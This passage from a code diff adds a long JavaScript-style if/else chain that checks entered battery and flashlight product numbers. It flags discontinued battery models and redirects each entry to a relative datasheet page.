+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3010s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3212"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e3"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e89"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e126"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e146x"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e152"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e163"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e165"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e169"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e177"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e235n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e236n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e286"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e289"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e340e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e450"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e502"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e601"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e630"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302157"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302358"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302435"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302462"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302465"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302478"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302642"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302651"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302702"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302905"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302908"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303145"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303236"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303394"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303996"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6ft"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6st"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en1a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en132a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en133a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en134a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en135a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en136a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en164a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en165a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en175a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en177a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en640a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep175"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx13"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx14"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx23"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx25"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx27"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx29"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx30"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx675"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx825"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90hp"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="fcc2"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs95"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6571"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="if6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2321m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2322"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2326m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7307"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7507"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="qcc4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s76e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="w353"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="3251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="4212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="4251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="5109"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="2251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="e251rc210"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="erg2c1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="glo4aa1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="rc250"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x112"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="x215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/home.htm"
+ return true
+ }
+ else if(IDText.value=="4215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5215"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="6212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="bas24a"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="db24a1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcbg"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kccl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcdl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcl2bu1"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="kcwl"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltcr"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="lteb"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="ltpt"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="sl240"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="v220"){
+ //Checks for id entry
+ res="../datasheets/flashlights/novelty.htm"
+ return true
+ }
+ else if(IDText.value=="5100"){
+ //Checks for id entry
+ res="../datasheets/flashlights/outdoor.htm"
+ return true
+ }
